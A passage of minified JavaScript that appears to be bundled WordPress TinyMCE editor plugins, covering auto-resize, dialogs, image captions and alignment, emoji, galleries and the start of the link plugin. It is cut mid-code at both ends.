t=k.Env.mac?e.ctrlKey&&e.altKey&&"KeyH"===e.code:e.shiftKey&&e.altKey&&"KeyH"===e.code;return!t||(p.execCommand("WP_Help"),e.stopPropagation(),e.stopImmediatePropagation(),!1)}),1<window.getUserSetting("editor_plain_text_paste_warning")&&(p.settings.paste_plaintext_inform=!1),k.Env.mac&&k.$(p.iframeElement).attr("title",u("Rich Text Area. Press Control-Option-H for help."))}),p.on("PastePlainTextToggle",function(e){!0===e.state&&(e=parseInt(window.getUserSetting("editor_plain_text_paste_warning"),10)||0)<2&&window.setUserSetting("editor_plain_text_paste_warning",++e)}),p.on("beforerenderui",function(){p.theme.panel&&(m(["button","colorbutton","splitbutton"],function(e){(e=p.theme.panel.find(e))&&m(e,function(e){var t;e&&e.settings.tooltip&&(t=d(e.settings.tooltip),e.settings.tooltip=t,e._aria)&&e._aria.label&&(e._aria.label=t)})}),m(p.theme.panel.find("listbox"),function(e){e&&"Paragraph"===e.settings.text&&m(e.settings.values,function(e){e.text&&s.hasOwnProperty(e.text)&&(e.shortcut="("+s[e.text]+")")})}))}),p.on("preinit",function(){var n,v,t,_,y,P,o,r=k.ui.Factory,s=p.settings,e=p.getContainer(),x=document.getElementById("wpadminbar"),C=document.getElementById(p.id+"_ifr");function i(e){if(n)if(n.tempHide||"hide"===e.type||"blur"===e.type)n.hide(),n=!1;else if(("resizewindow"===e.type||"scrollwindow"===e.type||"resize"===e.type||"scroll"===e.type)&&!n.blockHide){if("resize"===e.type||"resizewindow"===e.type){if(e=(e=p.getWin()).innerHeight+e.innerWidth,!(o=o&&2e3<(new Date).getTime()-o.timestamp?null:o))return void(o={timestamp:(new Date).getTime(),size:e});if(e&&Math.abs(e-o.size)<2)return}clearTimeout(t),t=setTimeout(function(){n&&"function"==typeof n.show&&(n.scrolling=!1,n.show())},250),n.scrolling=!0,n.hide()}}e&&(_=k.$(".mce-toolbar-grp",e)[0],y=k.$(".mce-statusbar",e)[0]),"content"===p.id&&(P=document.getElementById("post-status-info")),p.shortcuts.add("alt+119","",function(){var e;n&&(e=n.find("toolbar")[0])&&e.focus(!0)}),p.on("nodechange",function(e){var t=p.selection.isCollapsed(),e={element:e.element,parents:e.parents,collapsed:t};p.fire("wptoolbar",e),v=e.selection||e.element,n&&n!==e.toolbar&&n.hide(),e.toolbar?(n=e.toolbar).visible()?n.reposition():n.show():n=!1}),p.on("focus",function(){n&&n.show()}),p.inline?(p.on("resizewindow",i),document.addEventListener("scroll",i,!0)):(p.dom.bind(p.getWin(),"resize scroll",i),p.on("resizewindow scrollwindow",i)),p.on("remove",function(){document.removeEventListener("scroll",i,!0),p.off("resizewindow scrollwindow",i),p.dom.unbind(p.getWin(),"resize scroll",i)}),p.on("blur hide",i),p.wp=p.wp||{},p.wp._createToolbar=function(e,t){var n,o,a=[];return m(e,function(i){var t,e;function n(){var e=p.selection;"bullist"===t&&e.selectorChanged("ul > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!=n;);i.active(e&&"UL"===n)}),"numlist"===t&&e.selectorChanged("ol > li",function(e,t){for(var n,o=t.parents.length;o--&&"OL"!==(n=t.parents[o].nodeName)&&"UL"!==n;);i.active(e&&"OL"===n)}),i.settings.stateSelector&&e.selectorChanged(i.settings.stateSelector,function(e){i.active(e)},!0),i.settings.disabledStateSelector&&e.selectorChanged(i.settings.disabledStateSelector,function(e){i.disabled(e)})}"|"===i?o=null:r.has(i)?(i={type:i},s.toolbar_items_size&&(i.size=s.toolbar_items_size),a.push(i),o=null):(o||(o={type:"buttongroup",items:[]},a.push(o)),p.buttons[i]&&(t=i,(i="function"==typeof(i=p.buttons[t])?i():i).type=i.type||"button",s.toolbar_items_size&&(i.size=s.toolbar_items_size),(e=i.tooltip||i.title)&&(i.tooltip=d(e)),i=r.create(i),o.items.push(i),p.initialized?n():p.on("init",n)))}),(n=r.create({type:"panel",layout:"stack",classes:"toolbar-grp inline-toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:[{type:"toolbar",layout:"flow",items:a}]})).bottom=t,n.on("show",function(){this.reposition()}),n.on("keydown",function(e){27===e.keyCode&&(this.hide(),p.focus())}),p.on("remove",function(){n.remove()}),n.reposition=function(){var e,t,n,o,i,a,r,s,d,l,c,p,m,u,g,h,f,w,b;return v&&(e=window.pageXOffset||document.documentElement.scrollLeft,t=window.pageYOffset||document.documentElement.scrollTop,n=window.innerWidth,u=window.innerHeight,o=C?C.getBoundingClientRect():{top:0,right:n,bottom:u,left:0,width:n,height:u},a=(i=this.getEl()).offsetWidth,r=i.clientHeight,d=((s=v.getBoundingClientRect()).left+s.right)/2,l=r+5,c=x?x.getBoundingClientRect().bottom:0,b=_?_.getBoundingClientRect().bottom:0,p=y?u-y.getBoundingClientRect().top:0,m=P?u-P.getBoundingClientRect().top:0,c=Math.max(0,c,b,o.top),b=Math.max(0,p,m,u-o.bottom),p=s.top+o.top-c,m=u-o.top-s.bottom-b,g="",f=h=0,(u=u-c-b)<=p||u<=m?(this.scrolling=!0,this.hide(),this.scrolling=!1):(k.Env.iOS&&"IMG"===v.nodeName&&(h=54,f=46),this.bottom?l<=m?(g=" mce-arrow-up",w=s.bottom+o.top+t-f):l<=p&&(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=p?(g=" mce-arrow-down",w=s.top+o.top+t-r+h):l<=m&&u/2>s.bottom+o.top-c&&(g=" mce-arrow-up",w=s.bottom+o.top+t-f),void 0===w&&(w=t+c+5+f),b=d-a/2+o.left+e,s.left<0||s.right>o.width?b=o.left+e+(o.width-a)/2:n<=a?(g+=" mce-arrow-full",b=0):b<0&&s.left+a>n||n<b+a&&s.right-a<0?b=(n-a)/2:b<o.left+e?(g+=" mce-arrow-left",b=s.left+o.left+e):b+a>o.width+o.left+e&&(g+=" mce-arrow-right",b=s.right-a+o.left+e),k.Env.iOS&&"IMG"===v.nodeName&&(g=g.replace(/ ?mce-arrow-(up|down)/g,"")),i.className=i.className.replace(/ ?mce-arrow-[\w]+/g,"")+g,E.setStyles(i,{left:b,top:w}))),this},n.hide().renderTo(document.body),n}},!0),{_showButtons:n,_hideButtons:n,_setEmbed:n,_getEmbed:n}})}(window.tinymce); // Source: wp-includes/js/tinymce/plugins/wpautoresize/plugin.min.js tinymce.PluginManager.add("wpautoresize",function(g){var m=g.settings,h=300,c=!1;function f(e){return parseInt(e,10)||0}function y(e){var t,o,n,i,a,s,l,u,r,d=tinymce.DOM;c&&(o=g.getDoc())&&(e=e||{},t=o.body,o=o.documentElement,n=m.autoresize_min_height,!t||e&&"setcontent"===e.type&&e.initial||g.plugins.fullscreen&&g.plugins.fullscreen.isFullscreen()?t&&o&&(t.style.overflowY="auto",o.style.overflowY="auto"):(i=g.dom.getStyle(t,"margin-top",!0),a=g.dom.getStyle(t,"margin-bottom",!0),s=g.dom.getStyle(t,"padding-top",!0),l=g.dom.getStyle(t,"padding-bottom",!0),u=g.dom.getStyle(t,"border-top-width",!0),r=g.dom.getStyle(t,"border-bottom-width",!0),(i=t.offsetHeight+f(i)+f(a)+f(s)+f(l)+f(u)+f(r))&&i<o.offsetHeight&&(i=o.offsetHeight),(i=isNaN(i)||i<=0?tinymce.Env.ie?t.scrollHeight:tinymce.Env.webkit&&0===t.clientHeight?0:t.offsetHeight:i)>m.autoresize_min_height&&(n=i),m.autoresize_max_height&&i>m.autoresize_max_height?(n=m.autoresize_max_height,t.style.overflowY="auto",o.style.overflowY="auto"):(t.style.overflowY="hidden",o.style.overflowY="hidden",t.scrollTop=0),n!==h&&(a=n-h,d.setStyle(g.iframeElement,"height",n+"px"),h=n,tinymce.isWebKit&&a<0&&y(e),g.fire("wp-autoresize",{height:n,deltaHeight:"nodechange"===e.type?a:null}))))}function n(e,t,o){setTimeout(function(){y(),e--?n(e,t,o):o&&o()},t)}g.settings.inline||tinymce.Env.iOS||(m.autoresize_min_height=parseInt(g.getParam("autoresize_min_height",g.getElement().offsetHeight),10),m.autoresize_max_height=parseInt(g.getParam("autoresize_max_height",0),10),m.wp_autoresize_on&&(c=!0,g.on("init",function(){g.dom.addClass(g.getBody(),"wp-autoresize")}),g.on("nodechange keyup FullscreenStateChanged",y),g.on("setcontent",function(){n(3,100)}),g.getParam("autoresize_on_init",!0))&&g.on("init",function(){n(10,200,function(){n(5,1e3)})}),g.on("show",function(){h=0}),g.addCommand("wpAutoResize",y),g.addCommand("wpAutoResizeOn",function(){g.dom.hasClass(g.getBody(),"wp-autoresize")||(c=!0,g.dom.addClass(g.getBody(),"wp-autoresize"),g.on("nodechange setcontent keyup FullscreenStateChanged",y),y())}),g.addCommand("wpAutoResizeOff",function(){var e;m.wp_autoresize_on||(c=!1,e=g.getDoc(),g.dom.removeClass(g.getBody(),"wp-autoresize"),g.off("nodechange setcontent keyup FullscreenStateChanged",y),e.body.style.overflowY="auto",e.documentElement.style.overflowY="auto",h=0)}))}); // Source: wp-includes/js/tinymce/plugins/wpdialogs/plugin.min.js tinymce.WPWindowManager=tinymce.InlineWindowManager=function(a){if(this.wp)return this;this.wp={},this.parent=a.windowManager,this.editor=a,tinymce.extend(this,this.parent),this.open=function(e,i){var n,o=this,t=this.wp;if(!e.wpDialog)return this.parent.open.apply(this,arguments);e.id&&("undefined"!=typeof jQuery&&jQuery.wp&&jQuery.wp.wpdialog?(t.$element=n=jQuery("#"+e.id),n.length&&(window.console&&window.console.log&&window.console.log("tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML."),t.features=e,t.params=i,a.nodeChanged(),n.data("wpdialog")||n.wpdialog({title:e.title,width:e.width,height:e.height,modal:!0,dialogClass:"wp-dialog",zIndex:3e5}),n.wpdialog("open"),n.on("wpdialogclose",function(){o.wp.$element&&(o.wp={})}))):window.console&&window.console.error&&window.console.error('wpdialog.js is not loaded. Please set "wpdialogs" as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the "wp-jquery-ui-dialog" stylesheet.'))},this.close=function(){if(!this.wp.features||!this.wp.features.wpDialog)return this.parent.close.apply(this,arguments);this.wp.$element.wpdialog("close")}},tinymce.PluginManager.add("wpdialogs",function(e){e.on("init",function(){e.windowManager=new tinymce.WPWindowManager(e)})}); // Source: wp-includes/js/tinymce/plugins/wpeditimage/plugin.min.js tinymce.PluginManager.add("wpeditimage",function(g){var r,u,n,c,a,e=tinymce.each,l=tinymce.trim,t=tinymce.Env.iOS;function i(e){return!(!g.dom.getAttrib(e,"data-mce-placeholder")&&!g.dom.getAttrib(e,"data-mce-object"))}function o(e){e=g.$(e).parents("[contenteditable]");return e&&"false"===e.attr("contenteditable")}function d(e){return e.replace(/(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g,function(e,t,n){var a,i,o,r,c,d=t.match(/id=['"]([^'"]*)['"] ?/);return(c=(t=(i=(t=(a=(t=d?t.replace(d[0],""):t).match(/align=['"]([^'"]*)['"] ?/))?t.replace(a[0],""):t).match(/class=['"]([^'"]*)['"] ?/))?t.replace(i[0],""):t).match(/width=['"]([0-9]*)['"] ?/))&&(t=t.replace(c[0],"")),r=(r=(n=l(n)).match(/((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i))&&r[2]?(o=l(r[2]),l(r[1])):(o=l(t).replace(/caption=['"]/,"").replace(/['"]$/,""),n),d=d&&d[1]?d[1].replace(/[<>&]+/g,""):"",a=a&&a[1]?a[1]:"alignnone",i=i&&i[1]?" "+i[1].replace(/[<>&]+/g,""):"",(c=(c=!c&&r?r.match(/width=['"]([0-9]*)['"]/):c)&&c[1]?c[1]:c)&&o?(c=parseInt(c,10),g.getParam("wpeditimage_html5_captions")||(c+=10),'<div class="mceTemp"><dl id="'+d+'" class="wp-caption '+a+i+'" style="width: '+c+'px"><dt class="wp-caption-dt">'+r+'</dt><dd class="wp-caption-dd">'+o+"</dd></dl></div>"):n})}function s(e){return e.replace(/(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g,function(e,t){var n="";return-1===t.indexOf("<img ")||-1!==t.indexOf("</p>")?t.replace(/<d[ldt]( [^>]+)?>/g,"").replace(/<\/d[ldt]>/g,""):-1===(n=t.replace(/\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi,function(e,t,n,a){var i,o,r=n.match(/width="([0-9]*)"/);return r=r&&r[1]?r[1]:"",o=(i=(i=t.match(/class="([^"]*)"/))&&i[1]?i[1]:"").match(/align[a-z]+/i)||"alignnone",r&&a?'[caption id="'+((t=t.match(/id="([^"]*)"/))&&t[1]?t[1]:"")+'" align="'+o+'" width="'+r+'"'+(i=(i=i.replace(/wp-caption ?|align[a-z]+ ?/gi,""))&&' class="'+i+'"')+"]"+n+" "+(a=(a=a.replace(/\r\n|\r/g,"\n").replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g,function(e){return e.replace(/[\r\n\t]+/," ")})).replace(/\s*\n\s*/g,"<br />"))+"[/caption]":"alignnone"!==o[0]?n.replace(/><img/,' class="'+o[0]+'"><img'):n})).indexOf("[caption")?t.replace(/[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi,"<p>$1</p>$2"):n})}function h(e){return e&&(e.textContent||e.innerText).replace(/\ufeff/g,"")}function m(e){var t=g.dom.getParent(e,"div.mceTemp");(t=t||"IMG"!==e.nodeName?t:g.dom.getParent(e,"a"))?(t.nextSibling?g.selection.select(t.nextSibling):t.previousSibling?g.selection.select(t.previousSibling):g.selection.select(t.parentNode),g.selection.collapse(!0),g.dom.remove(t)):g.dom.remove(e),g.nodeChanged(),g.undoManager.add()}return g.addButton("wp_img_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){m(g.selection.getNode())}}),g.addButton("wp_img_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e,t,n,p;e=g.selection.getNode(),"undefined"!=typeof wp&&wp.media?(n=function(e){var t,n,a,i,o=[],r=g.dom,c=/^\d+$/;(n={attachment_id:!1,size:"custom",caption:"",align:"none",extraClasses:"",link:!1,linkUrl:"",linkClassName:"",linkTargetBlank:!1,linkRel:"",title:""}).url=r.getAttrib(e,"src"),n.alt=r.getAttrib(e,"alt"),n.title=r.getAttrib(e,"title"),a=r.getAttrib(e,"width"),i=r.getAttrib(e,"height"),(!c.test(a)||parseInt(a,10)<1)&&(a=e.naturalWidth||e.width);(!c.test(i)||parseInt(i,10)<1)&&(i=e.naturalHeight||e.height);n.customWidth=n.width=a,n.customHeight=n.height=i,c=tinymce.explode(e.className," "),t=[],tinymce.each(c,function(e){/^wp-image/.test(e)?n.attachment_id=parseInt(e.replace("wp-image-",""),10):/^align/.test(e)?n.align=e.replace("align",""):/^size/.test(e)?n.size=e.replace("size-",""):t.push(e)}),n.extraClasses=t.join(" "),(a=r.getParents(e,".wp-caption")).length&&(a=a[0],c=a.className.split(" "),tinymce.each(c,function(e){/^align/.test(e)?n.align=e.replace("align",""):e&&"wp-caption"!==e&&o.push(e)}),n.captionClassName=o.join(" "),(i=r.select("dd.wp-caption-dd",a)).length)&&(i=i[0],n.caption=g.serializer.serialize(i).replace(/<br[^>]*>/g,"$&\n").replace(/^<p>/,"").replace(/<\/p>$/,""));e.parentNode&&"A"===e.parentNode.nodeName&&(c=e.parentNode,n.linkUrl=r.getAttrib(c,"href"),n.linkTargetBlank="_blank"===r.getAttrib(c,"target"),n.linkRel=r.getAttrib(c,"rel"),n.linkClassName=c.className);return n}(e),g.$(e).attr("data-wp-editing",1),wp.media.events.trigger("editor:image-edit",{editor:g,metadata:n,image:e}),t=wp.media({frame:"image",state:"image-details",metadata:n}),wp.media.events.trigger("editor:frame-create",{frame:t}),e=function(m){g.undoManager.transact(function(){var e,t,n,a,i,o,r,c,d,l,s;e=p,t=m,s=g.dom,e&&e.length&&(a=e[0],r=(r=tinymce.explode(t.extraClasses," "))||[],t.caption||r.push("align"+t.align),t.attachment_id&&(r.push("wp-image-"+t.attachment_id),t.size)&&"custom"!==t.size&&r.push("size-"+t.size),l=t.width,c=t.height,"custom"===t.size&&(l=t.customWidth,c=t.customHeight),c={src:t.url,width:l||null,height:c||null,title:t.title||null,class:r.join(" ")||null},s.setAttribs(a,c),e.attr("alt",t.alt||""),r={href:t.linkUrl,rel:t.linkRel||null,target:t.linkTargetBlank?"_blank":null,class:t.linkClassName||null},a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?t.linkUrl?s.setAttribs(a.parentNode,r):s.remove(a.parentNode,!0):t.linkUrl&&((c=s.getParent(a,"a"))&&s.insertAfter(a,c),c=s.create("a",r),a.parentNode.insertBefore(c,a),c.appendChild(a)),r=g.dom.getParent(a,".mceTemp"),c=a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?a.parentNode:a,t.caption?(t.caption=function(e){if(!e||-1===e.indexOf("<")&&-1===e.indexOf(">"))return e;u=u||new tinymce.html.Serializer({},g.schema);return u.serialize(g.parser.parse(e,{forced_root_block:!1}))}(t.caption),o=t.attachment_id?"attachment_"+t.attachment_id:null,d="wp-caption "+("align"+(t.align||"none")),t.captionClassName&&(d+=" "+t.captionClassName.replace(/[<>&]+/g,"")),g.getParam("wpeditimage_html5_captions")||(l=parseInt(l,10),l+=10),r?((i=s.select("dl.wp-caption",r)).length&&s.setAttribs(i,{id:o,class:d,style:"width: "+l+"px"}),(i=s.select(".wp-caption-dd",r)).length&&s.setHTML(i[0],t.caption)):(i="<dl "+(o=o?'id="'+o+'" ':"")+'class="'+d+'" style="width: '+l+'px"><dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+t.caption+"</dd></dl>",o=s.create("div",{class:"mceTemp"},i),(n=s.getParent(c,"p"))?n.parentNode.insertBefore(o,n):c.parentNode.insertBefore(o,c),g.$(o).find("dt.wp-caption-dt").append(c),n&&s.isEmpty(n)&&s.remove(n))):r&&(n=s.create("p"),r.parentNode.insertBefore(n,r),n.appendChild(c),s.remove(r)),e=g.$(a),d=e.attr("srcset"),l=e.attr("src"),d&&l&&(l=l.replace(/[?#].*/,""),-1===d.indexOf(l))&&e.attr("srcset",null).attr("sizes",null),wp.media.events&&wp.media.events.trigger("editor:image-update",{editor:g,metadata:t,image:a}),g.nodeChanged())}),t.detach()},t.state("image-details").on("update",e),t.state("replace-image").on("replace",e),t.on("close",function(){g.focus(),t.detach(),(p=g.$("img[data-wp-editing]")).removeAttr("data-wp-editing")}),t.open()):g.execCommand("mceImage")}}),e({alignleft:"Align left",aligncenter:"Align center",alignright:"Align right",alignnone:"No alignment"},function(e,n){var t=n.slice(5);g.addButton("wp_img_"+n,{tooltip:e,icon:"dashicon dashicons-align-"+t,cmd:"alignnone"===n?"wpAlignNone":"Justify"+t.slice(0,1).toUpperCase()+t.slice(1),onPostRender:function(){var t=this;g.on("NodeChange",function(e){"IMG"===e.element.nodeName&&(e=g.dom.getParent(e.element,".wp-caption")||e.element,"alignnone"===n?t.active(!/\balign(left|center|right)\b/.test(e.className)):t.active(g.dom.hasClass(e,n)))})}})}),g.once("preinit",function(){g.wp&&g.wp._createToolbar&&(r=g.wp._createToolbar(["wp_img_alignleft","wp_img_aligncenter","wp_img_alignright","wp_img_alignnone","wp_img_edit","wp_img_remove"]))}),g.on("wptoolbar",function(e){"IMG"!==e.element.nodeName||i(e.element)||(e.toolbar=r)}),t&&g.on("init",function(){g.on("touchstart",function(e){"IMG"!==e.target.nodeName||o(e.target)||(n=!0)}),g.dom.bind(g.getDoc(),"touchmove",function(){n=!1}),g.on("touchend",function(e){var t;n&&"IMG"===e.target.nodeName&&!o(e.target)?(t=e.target,n=!1,window.setTimeout(function(){g.selection.select(t),g.nodeChanged()},100)):r&&r.hide()})}),g.on("init",function(){var t=g.dom,e=g.getParam("wpeditimage_html5_captions")?"html5-captions":"html4-captions";t.addClass(g.getBody(),e),tinymce.Env.ie&&10<tinymce.Env.ie&&t.bind(g.getBody(),"mscontrolselect",function(e){"IMG"===e.target.nodeName&&t.getParent(e.target,".wp-caption")?g.getBody().focus():"DL"===e.target.nodeName&&t.hasClass(e.target,"wp-caption")&&e.target.focus()})}),g.on("ObjectResized",function(a){var i=a.target;"IMG"===i.nodeName&&g.undoManager.transact(function(){var e,t,n=g.dom;i.className=i.className.replace(/\bsize-[^ ]+/,""),(e=n.getParent(i,".wp-caption"))&&(t=a.width||n.getAttrib(i,"width"))&&(t=parseInt(t,10),g.getParam("wpeditimage_html5_captions")||(t+=10),n.setStyle(e,"width",t+"px"))})}),g.on("pastePostProcess",function(e){g.dom.getParent(g.selection.getNode(),"dd.wp-caption-dd")&&(g.$("img, audio, video, object, embed, iframe, script, style",e.node).remove(),g.$("*",e.node).each(function(e,t){g.dom.isBlock(t)&&(tinymce.trim(t.textContent||t.innerText)?(g.dom.insertAfter(g.dom.create("br"),t),g.dom.remove(t,!0)):g.dom.remove(t))}),g.$("br",e.node).each(function(e,t){t.nextSibling&&"BR"!==t.nextSibling.nodeName&&t.previousSibling&&"BR"!==t.previousSibling.nodeName||g.dom.remove(t)}),c=!0)}),g.on("BeforeExecCommand",function(e){var t,n,a,i=e.command,o=g.dom;if("mceInsertContent"===i||"Indent"===i||"Outdent"===i){if(t=g.selection.getNode(),a=o.getParent(t,"div.mceTemp")){if("mceInsertContent"!==i)return e.preventDefault(),e.stopImmediatePropagation(),!1;c?c=!1:(n=o.create("p"),o.insertAfter(n,a),g.selection.setCursorLocation(n,0),"IMG"===t.nodeName&&g.$(a).remove(),g.nodeChanged())}}else"JustifyLeft"!==i&&"JustifyRight"!==i&&"JustifyCenter"!==i&&"wpAlignNone"!==i||(t=g.selection.getNode(),o="align"+i.slice(7).toLowerCase(),n=g.dom.getParent(t,".wp-caption"),"IMG"!==t.nodeName&&!n)||(a=g.dom.hasClass(t=n||t,o)?" alignnone":" "+o,t.className=l(t.className.replace(/ ?align(left|center|right|none)/g,"")+a),g.nodeChanged(),e.preventDefault(),r&&r.reposition(),g.fire("ExecCommand",{command:i,ui:e.ui,value:e.value}))}),g.on("keydown",function(e){var t,n,a,i=g.selection,o=e.keyCode,r=g.dom,c=tinymce.util.VK;if(o===c.ENTER)t=i.getNode(),(n=r.getParent(t,"div.mceTemp"))&&(r.events.cancel(e),tinymce.each(r.select("dt, dd",n),function(e){r.isEmpty(e)&&r.remove(e)}),a=tinymce.Env.ie&&tinymce.Env.ie<11?"":'<br data-mce-bogus="1" />',a=r.create("p",null,a),"DD"===t.nodeName?r.insertAfter(a,n):n.parentNode.insertBefore(a,n),g.nodeChanged(),i.setCursorLocation(a,0));else if((o===c.DELETE||o===c.BACKSPACE)&&("DIV"===(t=i.getNode()).nodeName&&r.hasClass(t,"mceTemp")?n=t:"IMG"!==t.nodeName&&"DT"!==t.nodeName&&"A"!==t.nodeName||(n=r.getParent(t,"div.mceTemp")),n))return r.events.cancel(e),m(t),!1}),tinymce.Env.gecko&&g.on("undo redo",function(){"IMG"===g.selection.getNode().nodeName&&g.selection.collapse()}),g.wpSetImgCaption=d,g.wpGetImgCaption=s,g.on("beforeGetContent",function(e){"raw"!==e.format&&g.$('img[id="__wp-temp-img-id"]').removeAttr("id")}),g.on("BeforeSetContent",function(e){"raw"!==e.format&&(e.content=g.wpSetImgCaption(e.content))}),g.on("PostProcess",function(e){e.get&&(e.content=g.wpGetImgCaption(e.content))}),g.on("dragstart",function(){var e=g.selection.getNode();"IMG"!==e.nodeName||(a=g.dom.getParent(e,".mceTemp"))||"A"!==e.parentNode.nodeName||h(e.parentNode)||(a=e.parentNode)}),g.on("drop",function(e){var t=g.dom,n=tinymce.dom.RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,g.getDoc());n&&t.getParent(n.startContainer,".mceTemp")?e.preventDefault():a&&(e.preventDefault(),g.undoManager.transact(function(){n&&g.selection.setRng(n),g.selection.setNode(a),t.remove(a)})),a=null}),g.wp=g.wp||{},g.wp.isPlaceholder=i,{_do_shcode:d,_get_shcode:s}}); // Source: wp-includes/js/tinymce/plugins/wpemoji/plugin.min.js !function(m){m.PluginManager.add("wpemoji",function(n){var t,o=window.wp,e=window._wpemojiSettings,i=m.Env,a=window.navigator.userAgent,w=-1<a.indexOf("Windows"),a=!!((a=a.match(/Windows NT 6\.(\d)/))&&1<a[1]);function d(e){o.emoji.parse(e,{imgAttr:{"data-mce-resize":"false","data-mce-placeholder":"1","data-wp-emoji":"1"}})}function c(e){var t,o;e&&window.twemoji&&window.twemoji.test(e.textContent||e.innerText)&&(i.webkit&&(o=(t=n.selection).getBookmark()),d(e),i.webkit)&&t.moveToBookmark(o)}o&&o.emoji&&!e.supports.everything&&(a?n.on("keyup",function(e){231===e.keyCode&&c(n.selection.getNode())}):w||(n.on("keydown keyup",function(e){t="keydown"===e.type}),n.on("input",function(){t||c(n.selection.getNode())})),n.on("setcontent",function(e){var t=n.selection,o=t.getNode();window.twemoji&&window.twemoji.test(o.textContent||o.innerText)&&(d(o),i.ie)&&i.ie<9&&e.load&&o&&"BODY"===o.nodeName&&t.collapse(!0)}),n.on("PastePostProcess",function(e){window.twemoji&&m.each(n.dom.$("img.emoji",e.node),function(e){e.alt&&window.twemoji.test(e.alt)&&((e=e).className="emoji",e.setAttribute("data-mce-resize","false"),e.setAttribute("data-mce-placeholder","1"),e.setAttribute("data-wp-emoji","1"))})}),n.on("postprocess",function(e){e.content&&(e.content=e.content.replace(/<img[^>]+data-wp-emoji="[^>]+>/g,function(e){var t=e.match(/alt="([^"]+)"/);return t&&t[1]?t[1]:e}))}),n.on("resolvename",function(e){"IMG"===e.target.nodeName&&n.dom.getAttrib(e.target,"data-wp-emoji")&&e.preventDefault()}))})}(window.tinymce); // Source: wp-includes/js/tinymce/plugins/wpgallery/plugin.min.js tinymce.PluginManager.add("wpgallery",function(d){function t(e){return e.replace(/\[gallery([^\]]*)\]/g,function(e){return t="wp-gallery",n=e,n=window.encodeURIComponent(e),'<img src="'+tinymce.Env.transparentSrc+'" class="wp-media mceItem '+t+'" data-wp-media="'+n+'" data-mce-resize="false" data-mce-placeholder="1" alt="" />';var t,n})}function n(e){return e.replace(/(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g,function(e,t){t=t,n="data-wp-media";var n,t=(n=new RegExp(n+'="([^"]+)"').exec(t))?window.decodeURIComponent(n[1]):"";return t?"<p>"+t+"</p>":e})}function o(t){var n,a,e;"IMG"===t.nodeName&&"undefined"!=typeof wp&&wp.media&&(e=window.decodeURIComponent(d.dom.getAttrib(t,"data-wp-media")),d.dom.hasClass(t,"wp-gallery"))&&wp.media.gallery&&(n=wp.media.gallery,(a=n.edit(e)).state("gallery-edit").on("update",function(e){e=n.shortcode(e).string();d.dom.setAttrib(t,"data-wp-media",window.encodeURIComponent(e)),a.detach()}))}d.addCommand("WP_Gallery",function(){o(d.selection.getNode())}),d.on("mouseup",function(e){var t=d.dom,n=e.target;function a(){t.removeClass(t.select("img.wp-media-selected"),"wp-media-selected")}"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")?2!==e.button&&(t.hasClass(n,"wp-media-selected")?o(n):(a(),t.addClass(n,"wp-media-selected"))):a()}),d.on("ResolveName",function(e){var t=d.dom,n=e.target;"IMG"===n.nodeName&&t.getAttrib(n,"data-wp-media")&&t.hasClass(n,"wp-gallery")&&(e.name="gallery")}),d.on("BeforeSetContent",function(e){d.plugins.wpview&&"undefined"!=typeof wp&&wp.mce||(e.content=t(e.content))}),d.on("PostProcess",function(e){e.get&&(e.content=n(e.content))})}); // Source: wp-includes/js/tinymce/plugins/wplink/plugin.min.js !function(L){L.ui.Factory.add("WPLinkPreview",L.ui.Control.extend({url:"#",renderHtml:function(){return'<div id="'+this._id+'" class="wp-link-preview"><a href="'+this.url+'" target="_blank" tabindex="-1">'+this.url+"</a></div>"},setURL:function(e){var t,n;this.url!==e&&(this.url=e,40<(e=""===(e="/"===(e=(e=-1!==(t=(e=-1!==(t=(e=(e=window.decodeURIComponent(e)).replace(/^(?:https?:)?\/\/(?:www\.)?/,"")).indexOf("?"))?e.slice(0,t):e).indexOf("#"))?e.slice(0,t):e).replace(/(?:index)?\.html$/,"")).charAt(e.length-1)?e.slice(0,-1):e)?this.url:e).length&&-1!==(t=e.indexOf("/"))&&-1!==(n=e.lastIndexOf("/"))&&n!==t&&(t+e.length-n<40&&(n=-(40-(t+1))),e=e.slice(0,t+1)+"\u2026"+e.slice(n)),L.$(this.getEl().firstChild).attr("href",this.url).text(e))}})),L.ui.Factory.add("WPLinkInput",L.ui.Control.extend({renderHtml:function(){return'<div id="'+this._id+'" class="wp-link-input"><label for="'+this._id+'_label">'+L.translate("Paste URL or type to search")+'</label><input id="'+this._id+'_label" type="text" value="" /><input type="text" style="display:none" value="" /></div>'},setURL:function(e){this.getEl().firstChild.nextSibling.value=e},getURL:function(){return L.trim(this.getEl().firstChild.nextSibling.value)},getLinkText:function(){var e=this.getEl().firstChild.nextSibling.nextSibling.value;return L.trim(e)?e.replace(/[\r\n\t ]+/g," "):""},reset:function(){var e=this.getEl().firstChild.nextSibling;e.value="",e.nextSibling.value=""}})),L.PluginManager.add("wplink",function(l){var a,r,d,c,i,n,t,p=window.jQuery,o=/^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i,s=/^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s"]*)?$/i,u=/^https?:\/\/[^\/]+\.[^\/]+($|\/)/i,w=void 